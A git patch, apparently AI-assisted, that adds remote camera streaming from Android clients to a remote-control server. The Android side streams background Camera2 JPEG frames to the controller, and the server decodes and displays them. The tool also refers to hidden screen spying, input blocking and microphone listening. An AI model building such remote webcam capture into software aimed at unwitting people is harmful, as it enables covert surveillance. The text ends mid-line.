From 998c16edc5773fbeb9b28bc4e5bfe1cb342d2b96 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Mon, 16 Nov 2026 18:36:48 +0100 Subject: [PATCH] Feature: support camera streaming on Android hosts MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Android 摄像头(COMMAND_WEBCAM)此前未实现。客户端用 Camera2 ImageReader 直接输出 JPEG(1280x720、8fps、按传感器方向摆正),第一帧到达时从 JPEG SOF 读出真实宽高再发 TOKEN_WEBCAM_BITMAPINFO(部分 HAL 会按方向物理旋转 导致宽高互换,以实际帧为准可避免服务端尺寸不符丢帧黑屏),之后每帧 [TOKEN_WEBCAM_DIB][isCompress=1][JPGD][JPEG]。 服务端视频对话框识别 JPGD FOURCC,用 libjpeg 直接解成 bottom-up BGR24; DrawDib 与「保存 AVI」两条路径都不用改,目标机也不需要安装 VFW 编解码器。 BITMAPINFO 的 biSizeImage 按 DWORD 对齐的 stride 计算。 注意:服务端不要引用 turbojpeg 的 tj* 符号——会拉进与 Debug 构建不兼容的 运行时,启动即 0xC0000005;解码统一走项目已在用的 jpeg_* API。 验证:模拟器虚拟相机出图,窗口标题 127.0.0.1 - Video 1280x720;关闭对话框 后 camera stopped,服务端稳定。 Model: deepseek-flash Co-Authored-By: Claude Code --- android/app/src/main/AndroidManifest.xml | 6 +- .../app/src/main/cpp/VideoHandlerAndroid.h | 176 ++++++++++++ android/app/src/main/cpp/main.cpp | 171 ++++++++++++ .../java/com/yama/client/CameraCapture.kt | 259 ++++++++++++++++++ .../java/com/yama/client/CaptureService.kt | 6 + .../main/java/com/yama/client/MainActivity.kt | 4 + .../main/java/com/yama/client/YamaBridge.kt | 9 + common/commands.h | 5 + server/2015Remote/Bmp2Video.h | 4 + server/2015Remote/VideoDlg.cpp | 97 +++++++ server/2015Remote/VideoDlg.h | 3 + 11 files changed, 739 insertions(+), 1 deletion(-) create mode 100644 android/app/src/main/cpp/VideoHandlerAndroid.h create mode 100644 android/app/src/main/java/com/yama/client/CameraCapture.kt diff --git a/android/app/src/main/AndroidManifest.xml b/android/app/src/main/AndroidManifest.xml index 3efc6bb..dd2ad89 100644 --- a/android/app/src/main/AndroidManifest.xml +++ b/android/app/src/main/AndroidManifest.xml @@ -16,6 +16,10 @@ + + + + @@ -54,7 +58,7 @@ +#include +#include +#include + +#include "common/commands.h" +#include "common/logger.h" +#include "client/IOCPClient.h" +#include "ScreenHandler.h" // BmpInfoHeader(与 Windows BITMAPINFOHEADER 同布局) + +#define LOGE_V(...) android_log_tag(ANDROID_LOG_ERROR, "YAMA_VIDEO", __VA_ARGS__) + +// 由 main.cpp 实现(JNI → CameraCapture.start/stop) +bool StartJavaCamera(int* outWidth, int* outHeight); +void StopJavaCamera(); + +class AndroidVideoHandler : public IOCPManager +{ +public: + explicit AndroidVideoHandler(IOCPClient* client) : m_client(client) {} + ~AndroidVideoHandler() override { StopCapture(); } + + // 打开相机并发送 BITMAPINFO。失败(无相机 / 无 CAMERA 权限)返回 false, + // 调用方应关掉子连接并给主控回一条消息。 + bool StartCapture() + { + int w = 0, h = 0; + if (!StartJavaCamera(&w, &h) || w <= 0 || h <= 0) return false; + m_width = w; + m_height = h; + m_running.store(true, std::memory_order_release); + // BITMAPINFO 推迟到第一帧再发:HAL 可能把 JPEG 按 JPEG_ORIENTATION 物理 + // 旋转(宽高互换),也可能只写 EXIF。以第一帧实际的 SOF 宽高为准, + // 服务端就不会因为尺寸对不上而丢帧黑屏。 + LOGE_V("camera started %dx%d (bitmapinfo deferred to first frame)", w, h); + return true; + } + + void StopCapture() + { + if (!m_running.exchange(false)) return; + StopJavaCamera(); + } + + void OnReceive(PBYTE szBuffer, ULONG ulLength) override + { + if (!szBuffer || ulLength == 0) return; + switch (szBuffer[0]) { + case COMMAND_NEXT: + // 服务端视频窗口已打开 + m_dialogOpen.store(true, std::memory_order_relaxed); + LOGE_V("camera dialog opened"); + break; + case COMMAND_WEBCAM_ENABLECOMPRESS: + case COMMAND_WEBCAM_DISABLECOMPRESS: + // JPEG 帧始终是压缩数据,两个开关都不需要改编码路径 + break; + default: + LOGE_V("camera: unhandled cmd=%d", (int)szBuffer[0]); + break; + } + } + + // Java 侧每帧 JPEG 进来时调用(CameraCapture 的 ImageReader 回调线程) + void SendJpeg(const uint8_t* data, size_t len) + { + IOCPClient* client = m_client; + if (!client || !m_running.load(std::memory_order_acquire) || !data || len == 0) + return; + + // 第一帧:按实际 SOF 宽高发 BITMAPINFO(服务端收到它才会打开视频窗口), + // 这一帧本身也照发;之后的帧再等服务端回 COMMAND_NEXT。 + if (!m_infoSent) { + int w = m_width, h = m_height; + if (JpegDimensions(data, len, &w, &h)) { + m_width = w; + m_height = h; + } + SendBitmapInfo(); + m_infoSent = true; + LOGE_V("bitmapinfo sent %dx%d (jpeg %zu bytes)", m_width, m_height, len); + } else if (!m_dialogOpen.load(std::memory_order_relaxed)) { + return; + } + + const size_t head = 1 + 1 + 4; + std::vector pkt(head + len); + pkt[0] = (uint8_t)TOKEN_WEBCAM_DIB; + pkt[1] = 1; // isCompress + uint32_t fcc = WEBCAM_FOURCC_JPEG_DIRECT; + memcpy(&pkt[2], &fcc, 4); + memcpy(&pkt[head], data, len); + client->Send2Server((char*)pkt.data(), (ULONG)pkt.size()); + } + + int Width() const { return m_width; } + int Height() const { return m_height; } + +private: + // 从 JPEG 的 SOF0/SOF2 段取真实宽高(跳过 APPn/EXIF 等段)。 + // 用于兼容「HAL 按 JPEG_ORIENTATION 物理旋转导致宽高互换」的机型。 + static bool JpegDimensions(const uint8_t* d, size_t n, int* w, int* h) + { + if (!d || n < 4 || d[0] != 0xFF || d[1] != 0xD8) return false; + size_t i = 2; + while (i + 9 < n) { + if (d[i] != 0xFF) { ++i; continue; } + const uint8_t m = d[i + 1]; + if (m == 0xD8 || m == 0xD9 || (m >= 0xD0 && m <= 0xD7)) { i += 2; continue; } + if (i + 4 > n) return false; + const size_t segLen = ((size_t)d[i + 2] << 8) | d[i + 3]; + if (segLen < 2 || i + 2 + segLen > n) return false; + const bool isSof = + (m >= 0xC0 && m <= 0xC3) || (m >= 0xC5 && m <= 0xC7) || + (m >= 0xC9 && m <= 0xCB) || (m >= 0xCD && m <= 0xCF); + if (isSof) { + if (segLen < 7) return false; + const int hh = ((int)d[i + 5] << 8) | d[i + 6]; + const int ww = ((int)d[i + 7] << 8) | d[i + 8]; + if (ww <= 0 || hh <= 0) return false; + *w = ww; + *h = hh; + return true; + } + i += 2 + segLen; + } + return false; + } + + // Linux/macOS 的 BmpInfoHeader 就是 Windows 的 BITMAPINFOHEADER(40 字节)。 + // Windows 客户端发的是 sizeof(BITMAPINFO)=44 字节(含 1 个 bmiColors), + // 这里补 4 字节零保持一致,服务端按 biSizeImage 分配转码缓冲。 + void SendBitmapInfo() + { + if (!m_client) return; + uint8_t buf[1 + sizeof(BmpInfoHeader) + 4] = { 0 }; + buf[0] = (uint8_t)TOKEN_WEBCAM_BITMAPINFO; + + BmpInfoHeader hdr{}; + hdr.biSize = sizeof(BmpInfoHeader); + hdr.biWidth = m_width; + hdr.biHeight = m_height; // bottom-up,与 Windows 摄像头一致 + hdr.biPlanes = 1; + hdr.biBitCount = 24; // 服务端解码成 BGR24 + hdr.biCompression = 0; // BI_RGB:描述的是解码后的位图 + // DIB 每行按 DWORD 对齐(DrawDib 与保存 AVI 都按这个 stride 解释) + const int stride = (m_width * 3 + 3) & ~3; + hdr.biSizeImage = (uint32_t)(stride * m_height); + memcpy(buf + 1, &hdr, sizeof(hdr)); + m_client->Send2Server((char*)buf, (ULONG)sizeof(buf)); + } + + IOCPClient* m_client = nullptr; + std::atomic m_running{false}; + std::atomic m_dialogOpen{false}; + bool m_infoSent = false; + int m_width = 0; + int m_height = 0; +}; diff --git a/android/app/src/main/cpp/main.cpp b/android/app/src/main/cpp/main.cpp index e26d8c6..b7d22b2 100644 --- a/android/app/src/main/cpp/main.cpp +++ b/android/app/src/main/cpp/main.cpp @@ -42,6 +42,7 @@ // 盘符映射与存储根。子连接自己建(GetServerTarget),不走 RunSubConnThread—— // 后者拨的是 g_SETTINGS 里的出厂地址,转移主机后还是连旧主控。 #include "FileManagerAndroid.h" +#include "VideoHandlerAndroid.h" // 摄像头(COMMAND_WEBCAM) #define LOG_TAG "YAMA" // LOGI/LOGE 走 android_log_tag(logger.h):既进 logcat,也进 Logger 的内存 ring, @@ -287,6 +288,10 @@ static jmethodID g_allFilesMid = nullptr; // StorageHelper.allFilesAc static jclass g_textClass = nullptr; static jmethodID g_gbkToUtf8Mid = nullptr; // NativeText.gbkToUtf8([B)[B static jmethodID g_utf8ToGbkMid = nullptr; // NativeText.utf8ToGbk([B)[B +// 摄像头:CameraCapture.start() 返回 [w,h](null=无相机/无权限),stop() 停止采集 +static jclass g_cameraClass = nullptr; +static jmethodID g_cameraStartMid = nullptr; // ()[I +static jmethodID g_cameraStopMid = nullptr; // ()V // 心跳日志限流:每 60 秒最多打一次 static std::atomic g_lastHbLogMs{0}; @@ -576,6 +581,49 @@ std::string AndroidMapWinPathToUnix(const std::string& winPath) return p; } +// ------------------------------------------------------------------ 摄像头 JNI +bool StartJavaCamera(int* outWidth, int* outHeight) +{ + if (!g_jvm || !g_cameraClass || !g_cameraStartMid) { + LOGE("CAMERA: JNI not ready"); + return false; + } + bool attached = false; + JNIEnv* env = AttachJniForCall(&attached); + if (!env) return false; + + bool ok = false; + jobject res = env->CallStaticObjectMethod(g_cameraClass, g_cameraStartMid); + if (env->ExceptionCheck()) { + env->ExceptionClear(); + } else if (res) { + const jsize n = env->GetArrayLength((jintArray)res); + if (n >= 2) { + jint vals[2] = { 0, 0 }; + env->GetIntArrayRegion((jintArray)res, 0, 2, vals); + if (vals[0] > 0 && vals[1] > 0) { + *outWidth = vals[0]; + *outHeight = vals[1]; + ok = true; + } + } + env->DeleteLocalRef(res); + } + DetachJniForCall(attached); + return ok; +} + +void StopJavaCamera() +{ + if (!g_jvm || !g_cameraClass || !g_cameraStopMid) return; + bool attached = false; + JNIEnv* env = AttachJniForCall(&attached); + if (!env) return; + env->CallStaticVoidMethod(g_cameraClass, g_cameraStopMid); + if (env->ExceptionCheck()) env->ExceptionClear(); + DetachJniForCall(attached); +} + std::string AndroidMapUnixToWinPath(const std::string& unixPath) { for (const auto& r : AndroidStorageRootsCached()) { @@ -1451,6 +1499,70 @@ static void FileManagerThread() LOGI(">>> FileManagerThread exit"); } +// ------------------------------------------------------------------ 摄像头 +// 服务端 COMMAND_WEBCAM(主控右键「视频管理」)→ 子连接 → Camera2 采集 JPEG → +// [TOKEN_WEBCAM_DIB][isCompress][fcc=JPGD][JPEG]。服务端用 turbojpeg 直解。 +// 同一时刻只允许一个会话(服务端菜单重复点击会发多条命令,第二个子连接没有意义)。 +static std::atomic g_videoInFlight{false}; +static std::mutex g_videoMx; +static AndroidVideoHandler* g_videoHandler = nullptr; + +static void VideoThread() +{ + struct InFlightGuard { + ~InFlightGuard() { g_videoInFlight.store(false); } + } guard; + + std::string ip; int port; + GetServerTarget(ip, port); + LOGI("VideoThread start → %s:%d", ip.c_str(), port); + try { + std::unique_ptr client(new IOCPClient(g_bExit, true)); + client->EnableSubConnAuth(true, g_myClientID); + client->SetDefaultProto((int)(unsigned char)g_SETTINGS.protoType); + GetServerTarget(ip, port); + if (!client->ConnectServer(ip.c_str(), port)) { + LOGE("VideoThread: connect failed"); + return; + } + + std::unique_ptr handler(new AndroidVideoHandler(client.get())); + client->setManagerCallBack(handler.get(), + IOCPManager::DataProcess, + IOCPManager::ReconnectProcess); + { + std::lock_guard lk(g_videoMx); + g_videoHandler = handler.get(); + } + + if (!handler->StartCapture()) { + // 无 CAMERA 权限 / 设备无摄像头 / 被其它应用占用。服务端没收到 + // BITMAPINFO 就不会弹窗口,这里回一条消息说明原因。 + LOGE("VideoThread: camera unavailable"); + sendClientMsg("Camera", + "Camera unavailable: grant the CAMERA permission or close the app " + "that is using it"); + } else { + while (client->IsRunning() && client->IsConnected() && S_CLIENT_NORMAL == g_bExit) + Sleep(200); + LOGI("VideoThread: sub-conn closed"); + } + + handler->StopCapture(); + { + std::lock_guard lk(g_videoMx); + g_videoHandler = nullptr; + } + client->setManagerCallBack(nullptr, nullptr, nullptr); + // 先销毁 handler 再销毁连接:接收线程可能正卡在 OnReceive 里 + handler.reset(); + client.reset(); + } catch (const std::exception& e) { + LOGE("VideoThread exception: %s", e.what()); + } + LOGI("VideoThread exit"); +} + // ------------------------------------------------------------------ 历史活动上报 // 主连接一次性快照(与 Windows/Linux 一致,服务端 TOKEN_REPORT_ACTIVITY 分支不 CancelIO)。 // 采样机每秒问一次 ControlService 的前台应用;这里只取 Dump(),几十微秒的活。 @@ -2112,6 +2224,22 @@ int DataProcess(void* /*user*/, PBYTE szBuffer, ULONG ulLength) break; } + case COMMAND_WEBCAM: { + // 摄像头管理(主控右键「视频管理」) + if (g_videoInFlight.exchange(true)) { + LOGI("cmd: COMMAND_WEBCAM ignored (camera session already in flight)"); + break; + } + LOGI("cmd: COMMAND_WEBCAM → camera sub-conn"); + try { + std::thread(VideoThread).detach(); + } catch (const std::exception& e) { + g_videoInFlight.store(false); + LOGE("Video thread failed: %s", e.what()); + } + break; + } + case COMMAND_SEND_FILE_V2: case COMMAND_FILE_COMPLETE_V2: { // 服务端 → 客户端的 V2 上传(MCP upload_file)。落盘路径经 @@ -2757,6 +2885,20 @@ Java_com_yama_client_YamaBridge_nativeInit( } else { LOGE("NativeText class not found"); } + // 摄像头:CameraCapture.start()/stop() + jclass cameraCls = env->FindClass("com/yama/client/CameraCapture"); + if (env->ExceptionCheck()) { env->ExceptionClear(); cameraCls = nullptr; } + if (cameraCls) { + g_cameraClass = (jclass)env->NewGlobalRef(cameraCls); + g_cameraStartMid = env->GetStaticMethodID(g_cameraClass, "start", "()[I"); + if (env->ExceptionCheck()) { env->ExceptionClear(); g_cameraStartMid = nullptr; } + if (!g_cameraStartMid) LOGE("CameraCapture.start not found"); + g_cameraStopMid = env->GetStaticMethodID(g_cameraClass, "stop", "()V"); + if (env->ExceptionCheck()) { env->ExceptionClear(); g_cameraStopMid = nullptr; } + if (!g_cameraStopMid) LOGE("CameraCapture.stop not found"); + } else { + LOGE("CameraCapture class not found"); + } } } @@ -2879,4 +3021,33 @@ Java_com_yama_client_YamaBridge_nativeOnH264Frame( env->ReleaseByteArrayElements(data, buf, JNI_ABORT); } +// Camera2 每帧 JPEG(CameraCapture 的 ImageReader 回调线程) +JNIEXPORT void JNICALL +Java_com_yama_client_YamaBridge_nativeOnCameraJpeg(JNIEnv* env, jobject, jbyteArray data) +{ + if (!data) return; + const jsize len = env->GetArrayLength(data); + if (len <= 0) return; + jbyte* buf = env->GetByteArrayElements(data, nullptr); + if (!buf) return; + { + std::lock_guard lk(g_videoMx); + if (g_videoHandler) + g_videoHandler->SendJpeg((const uint8_t*)buf, (size_t)len); + } + env->ReleaseByteArrayElements(data, buf, JNI_ABORT); +} + +// 摄像头采集失败(无权限 / 被占用 / 会话配置失败):回报主控消息栏 +JNIEXPORT void JNICALL +Java_com_yama_client_YamaBridge_nativeOnCameraError(JNIEnv* env, jobject, jstring msg) +{ + if (!msg) return; + const char* c = env->GetStringUTFChars(msg, nullptr); + if (!c) return; + LOGE("CAMERA: %s", c); + sendClientMsg("Camera", c); + env->ReleaseStringUTFChars(msg, c); +} + } // extern "C" diff --git a/android/app/src/main/java/com/yama/client/CameraCapture.kt b/android/app/src/main/java/com/yama/client/CameraCapture.kt new file mode 100644 index 0000000..344b0f7 --- /dev/null +++ b/android/app/src/main/java/com/yama/client/CameraCapture.kt @@ -0,0 +1,259 @@ +package com.yama.client + +import android.Manifest +import android.content.Context +import android.content.pm.PackageManager +import android.graphics.ImageFormat +import android.hardware.camera2.CameraCaptureSession +import android.hardware.camera2.CameraCharacteristics +import android.hardware.camera2.CameraDevice +import android.hardware.camera2.CameraManager +import android.hardware.camera2.CaptureRequest +import android.media.ImageReader +import android.os.Build +import android.os.Handler +import android.os.HandlerThread +import android.os.SystemClock +import android.util.Log +import android.view.Surface +import android.view.WindowManager +import androidx.core.content.ContextCompat + +/** + * 摄像头管理(COMMAND_WEBCAM)的 Android 采集端。 + * + * 走 Camera2 的 JPEG 输出:ImageReader 直接拿一帧完整 JPEG,交给 native 侧的 + * AndroidVideoHandler 按 [TOKEN_WEBCAM_DIB][isCompress=1][fccHandler=JPGD][JPEG] + * 发给服务端;服务端用 turbojpeg 解码显示(不需要装任何 VFW 编解码器)。 + * + * 为什么不用 MediaCodec H.264:服务端摄像头对话框原本走 VFW ICM 解码,H.264 + * 需要系统装 x264vfw;JPEG 直解改动最小、且 Android 相机原生支持 JPEG 输出。 + * + * 生命周期:C++ 收到 COMMAND_WEBCAM 后调 start(),子连接断开时调 stop()。 + * start() 同步返回所选分辨率(可能为 null=无相机/无权限),真正开流是异步的: + * 服务端已按返回的分辨率发 BITMAPINFO,第一帧通常比对话框打开晚几百毫秒。 + */ +object CameraCapture { + private const val TAG = "YAMA_CAM" + private const val TARGET_FPS = 8 + private const val MIN_INTERVAL_MS = 1000L / TARGET_FPS + // 720p 足够看清,且 8fps 的 JPEG 上行在弱网下也不至于把主连接挤死 + private const val MAX_W = 1280 + private const val MAX_H = 720 + + private var thread: HandlerThread? = null + private var handler: Handler? = null + private var camera: CameraDevice? = null + private var session: CameraCaptureSession? = null + private var reader: ImageReader? = null + private var lastSent = 0L + + @Volatile private var running = false + @Volatile private var currentSize: IntArray? = null + // 每次 start() 自增;旧相机的回调靠它识别「自己已经是上一代了」 + @Volatile private var generation = 0 + + /** + * 打开摄像头。成功返回 [width, height];失败返回 null(无权限 / 无相机)。 + * 重复调用安全(已在采集时直接返回当前分辨率)。 + */ + @JvmStatic + @Synchronized + fun start(): IntArray? { + if (running) return currentSize + + val ctx = CaptureService.instance ?: CaptureService.appContext ?: return null + if (ContextCompat.checkSelfPermission(ctx, Manifest.permission.CAMERA) + != PackageManager.PERMISSION_GRANTED) { + Log.w(TAG, "start: CAMERA permission not granted") + return null + } + val manager = ctx.getSystemService(Context.CAMERA_SERVICE) as? CameraManager ?: return null + val cameraId = pickCamera(manager) ?: return null + val size = pickSize(manager, cameraId) ?: return null + + running = true + val gen = ++generation + currentSize = intArrayOf(size.first, size.second) + lastSent = 0L + + val ht = HandlerThread("yama-camera") + ht.start() + thread = ht + handler = Handler(ht.looper) + val h = handler!! + + runCatching { + manager.openCamera(cameraId, object : CameraDevice.StateCallback() { + override fun onOpened(cam: CameraDevice) { + if (!running || gen != generation) { cam.close(); return } + camera = cam + openSession(ctx, cam, size.first, size.second, gen) + } + + override fun onDisconnected(cam: CameraDevice) { + Log.w(TAG, "camera disconnected") + cam.close() + if (camera === cam) camera = null + } + + override fun onError(cam: CameraDevice, error: Int) { + Log.e(TAG, "camera error=$error") + cam.close() + if (camera === cam) camera = null + // 让 native 侧知道这路会话没有画面,避免服务端对话框一直黑着 + runCatching { YamaBridge.nativeOnCameraError("Camera error $error") } + } + }, h) + }.onFailure { + Log.e(TAG, "openCamera failed: $it") + stop() + return null + } + + Log.i(TAG, "start: camera=$cameraId size=${size.first}x${size.second}") + return currentSize + } + + @JvmStatic + @Synchronized + fun stop() { + running = false + currentSize = null + // 先把当前这一代的句柄摘下来,避免删到下一次 start() 新建的 handler/camera: + // stop 是 post 到旧 HandlerThread 上执行的,执行前 start() 可能已经跑完了。 + val h = handler + val s = session + val c = camera + val r = reader + val ht = thread + session = null + camera = null + reader = null + handler = null + thread = null + + val closer = { + runCatching { s?.close() } + runCatching { c?.close() } + runCatching { r?.close() } + runCatching { ht?.quitSafely() } + Log.i(TAG, "camera stopped") + Unit + } + if (h != null) h.post(closer) else closer() + } + + private fun openSession(ctx: Context, cam: CameraDevice, width: Int, height: Int, gen: Int) { + // 这些调用跑在相机 HandlerThread 上,异常逃出去会直接杀进程 + val r = try { + ImageReader.newInstance(width, height, ImageFormat.JPEG, 3) + } catch (e: Exception) { + Log.e(TAG, "ImageReader.newInstance failed: $e") + YamaBridge.nativeOnCameraError("Camera init failed") + return + } + reader = r + r.setOnImageAvailableListener({ ir -> + val image = try { ir.acquireLatestImage() } catch (e: Exception) { null } ?: return@setOnImageAvailableListener + try { + if (!running || gen != generation) return@setOnImageAvailableListener + val now = SystemClock.elapsedRealtime() + if (now - lastSent < MIN_INTERVAL_MS) return@setOnImageAvailableListener + lastSent = now + val buf = image.planes[0].buffer + val bytes = ByteArray(buf.remaining()) + buf.get(bytes) + YamaBridge.nativeOnCameraJpeg(bytes) + } catch (e: Exception) { + Log.w(TAG, "frame failed: $e") + } finally { + image.close() + } + }, handler) + + val surfaces = listOf(r.surface) + val callback = object : CameraCaptureSession.StateCallback() { + override fun onConfigured(s: CameraCaptureSession) { + if (!running || gen != generation) { s.close(); return } + session = s + runCatching { + val req = cam.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW) + req.addTarget(r.surface) + req.set(CaptureRequest.CONTROL_MODE, CaptureRequest.CONTROL_MODE_AUTO) + req.set(CaptureRequest.JPEG_ORIENTATION, orientation(ctx, cam)) + s.setRepeatingRequest(req.build(), null, handler) + Log.i(TAG, "repeating request started") + }.onFailure { + Log.e(TAG, "setRepeatingRequest failed: $it") + YamaBridge.nativeOnCameraError("Camera stream failed") + } + } + + override fun onConfigureFailed(s: CameraCaptureSession) { + Log.e(TAG, "capture session configure failed") + YamaBridge.nativeOnCameraError("Camera session failed") + } + } + // createCaptureSession 在相机线程上执行,抛异常同样会杀进程 + try { + @Suppress("DEPRECATION") + cam.createCaptureSession(surfaces, callback, handler) + } catch (e: Exception) { + Log.e(TAG, "createCaptureSession failed: $e") + YamaBridge.nativeOnCameraError("Camera session failed") + } + } + + /** 让 JPEG 按当前屏幕方向摆正(手机竖屏时传感器画面是横的)。 */ + private fun orientation(ctx: Context, cam: CameraDevice): Int { + val chars = runCatching { + (ctx.getSystemService(Context.CAMERA_SERVICE) as CameraManager) + .getCameraCharacteristics(cam.id) + }.getOrNull() ?: return 0 + val sensor = chars.get(CameraCharacteristics.SENSOR_ORIENTATION) ?: 0 + val facing = chars.get(CameraCharacteristics.LENS_FACING) + + @Suppress("DEPRECATION") + val wm = ctx.getSystemService(Context.WINDOW_SERVICE) as? WindowManager + @Suppress("DEPRECATION") + val rotation = runCatching { wm?.defaultDisplay?.rotation }.getOrNull() ?: Surface.ROTATION_0 + val device = when (rotation) { + Surface.ROTATION_90 -> 90 + Surface.ROTATION_180 -> 180 + Surface.ROTATION_270 -> 270 + else -> 0 + } + return if (facing == CameraCharacteristics.LENS_FACING_FRONT) + (sensor + device) % 360 + else + (sensor - device + 360) % 360 + } + + private fun pickCamera(manager: CameraManager): String? { + val ids = runCatching { manager.cameraIdList }.getOrNull() ?: return null + if (ids.isEmpty()) return null + // 优先后摄;电视盒子/无后摄设备退到任意一个 + for (id in ids) { + val facing = runCatching { + manager.getCameraCharacteristics(id).get(CameraCharacteristics.LENS_FACING) + }.getOrNull() + if (facing == CameraCharacteristics.LENS_FACING_BACK) return id + } + return ids.first() + } + + private fun pickSize(manager: CameraManager, id: String): Pair? { + val chars = runCatching { manager.getCameraCharacteristics(id) }.getOrNull() ?: return null + val map = chars.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP) ?: return null + val sizes = runCatching { map.getOutputSizes(ImageFormat.JPEG) }.getOrNull() ?: return null + if (sizes.isEmpty()) return null + val fit = sizes.filter { it.width <= MAX_W && it.height <= MAX_H } + // 没有 ≤720p 的档位时选最小的一档:直接挑最大档会以 5-12 MP 推流, + // 8fps 就能把控制连接挤死 + val best = if (fit.isNotEmpty()) fit.maxByOrNull { it.width * it.height } + else sizes.minByOrNull { it.width * it.height } + best ?: return null + return best.width to best.height + } +} diff --git a/android/app/src/main/java/com/yama/client/CaptureService.kt b/android/app/src/main/java/com/yama/client/CaptureService.kt index 0f71bf3..c5e7092 100644 --- a/android/app/src/main/java/com/yama/client/CaptureService.kt +++ b/android/app/src/main/java/com/yama/client/CaptureService.kt @@ -555,6 +555,12 @@ class CaptureService : Service() { checkSelfPermission(Manifest.permission.RECORD_AUDIO) == PackageManager.PERMISSION_GRANTED) { types = types or ServiceInfo.FOREGROUND_SERVICE_TYPE_MICROPHONE } + // 摄像头管理(COMMAND_WEBCAM)要在后台用相机:Android 11+ 要求前台服务带 camera 类型。 + // 没授权时不能带,否则 startForeground 直接抛 SecurityException。 + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R && + checkSelfPermission(Manifest.permission.CAMERA) == PackageManager.PERMISSION_GRANTED) { + types = types or ServiceInfo.FOREGROUND_SERVICE_TYPE_CAMERA + } try { startForeground(NOTIF_ID, buildNotification(), types) } catch (e: Exception) { diff --git a/android/app/src/main/java/com/yama/client/MainActivity.kt b/android/app/src/main/java/com/yama/client/MainActivity.kt index ec9c0f3..65309f9 100644 --- a/android/app/src/main/java/com/yama/client/MainActivity.kt +++ b/android/app/src/main/java/com/yama/client/MainActivity.kt @@ -128,6 +128,10 @@ class MainActivity : AppCompatActivity() { // 主控打开语音监听时客户端会回一条「麦克风不可用」的提示 missing.add(Manifest.permission.RECORD_AUDIO) } + if (checkSelfPermission(Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { + // 摄像头管理(COMMAND_WEBCAM);拒绝后主控打开视频管理会收到「摄像头不可用」 + missing.add(Manifest.permission.CAMERA) + } if (missing.isNotEmpty()) { requestPermissions(missing.toTypedArray(), REQUEST_PERMISSIONS) return diff --git a/android/app/src/main/java/com/yama/client/YamaBridge.kt b/android/app/src/main/java/com/yama/client/YamaBridge.kt index 63b1e32..1e63121 100644 --- a/android/app/src/main/java/com/yama/client/YamaBridge.kt +++ b/android/app/src/main/java/com/yama/client/YamaBridge.kt @@ -41,4 +41,13 @@ object YamaBridge { * GSM 6.10/WAV49 并写入语音子连接。没有活跃会话时直接丢弃。 */ external fun nativeAudioSendPcm(samples: ShortArray) + + /** + * 摄像头管理:Camera2 每输出一帧 JPEG,交给 native 封装成 + * [TOKEN_WEBCAM_DIB][isCompress][fcc][JPEG] 发给服务端。 + */ + external fun nativeOnCameraJpeg(data: ByteArray) + + /** 摄像头采集失败(无权限 / 被占用 / 会话配置失败),回报主控 */ + external fun nativeOnCameraError(msg: String) } diff --git a/common/commands.h b/common/commands.h index 51d7a4a..b8dd22e 100644 --- a/common/commands.h +++ b/common/commands.h @@ -153,6 +153,11 @@ inline int isValid_10s() #define CLIENT_CAP_PRIVACY_OVERLAY 0x10000 // 屏幕子连接处理 COMMAND_SCREEN_BLOCK_INPUT / COMMAND_SCREEN_BLANK(Android 用无障碍全屏 overlay 实现;Windows 一直支持锁定键鼠但不声明这个位) #define CLIENT_CAP_PROCESS 0x20000 // 主连接处理 COMMAND_SYSTEM(系统子连接:COMMAND_PSLIST / COMMAND_KILLPROCESS;Linux/macOS 声明,Windows 一直支持但不声明) +// TOKEN_WEBCAM_DIB 帧头里的 fccHandler(第 3~6 字节):Android 客户端直接发 JPEG, +// 服务端识别这个 FOURCC 后用 turbojpeg 解码,不依赖系统安装 VFW 编解码器。 +// 值等于 mmioFOURCC('J','P','G','D')。 +#define WEBCAM_FOURCC_JPEG_DIRECT 0x4447504A + #define TALK_DLG_MAXLEN 1024 // 最大输入字符长度 // 客户端状态: 1-被控端退出 2-主控端退出 diff --git a/server/2015Remote/Bmp2Video.h b/server/2015Remote/Bmp2Video.h index 1cabadd..aae93a2 100644 --- a/server/2015Remote/Bmp2Video.h +++ b/server/2015Remote/Bmp2Video.h @@ -13,6 +13,10 @@ enum FCCHandler { ENCODER_MJPEG = mmioFOURCC('M', 'J', 'P', 'G'), // 安装x264vfw编解码器: https://sourceforge.net/projects/x264vfw/ ENCODER_H264 = mmioFOURCC('X', '2', '6', '4'), + // Android 客户端直接发 JPEG(Camera2 ImageReader 输出)。服务端用 turbojpeg + // 解码,不经过 VFW ICM——目标机不需要安装任何编解码器。 + // 值必须与 common/commands.h 的 WEBCAM_FOURCC_JPEG_DIRECT 一致。 + ENCODER_JPEG_DIRECT = mmioFOURCC('J', 'P', 'G', 'D'), }; /************************************************************************ diff --git a/server/2015Remote/VideoDlg.cpp b/server/2015Remote/VideoDlg.cpp index 931cfc6..f41ad7e 100644 --- a/server/2015Remote/VideoDlg.cpp +++ b/server/2015Remote/VideoDlg.cpp @@ -5,6 +5,9 @@ #include "2015Remote.h" #include "VideoDlg.h" #include "afxdialogex.h" +// Android 客户端直接发 JPEG:用项目已在用的 libjpeg(HideScreenSpyDlg.cpp 的 +// JPG_BMP 走同一套 API 与同一份库),不再引入 turbojpeg 的 tj* 运行时符号。 +#include "../common/jpeglib.h" enum { @@ -194,6 +197,11 @@ void CVideoDlg::DrawDIB(void) } SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_UNCHECKED); memcpy(m_BitmapData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen); + } else if (*(LPDWORD)(szBuffer + 2) == ENCODER_JPEG_DIRECT) { + // Android(Camera2)直接发 JPEG:不经过 VFW ICM,turbojpeg 直解 + if (DecodeJpegFrame(szBuffer + nHeadLen, ulBufferLen - nHeadLen)) { + SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_CHECKED); + } } else { // 解码 ////这里缓冲区里的的第二个字符正好是是否视频解码 InitCodec(*(LPDWORD)(szBuffer + 2)); //判断 @@ -210,6 +218,95 @@ void CVideoDlg::DrawDIB(void) } +namespace { + +// libjpeg 的默认 error_exit 会调 exit():一帧畸形 JPEG 就能结束整个服务端。 +// 与 HideScreenSpyDlg.cpp 的 JPG_BMP 同一套 setjmp/longjmp 兜底。 +struct 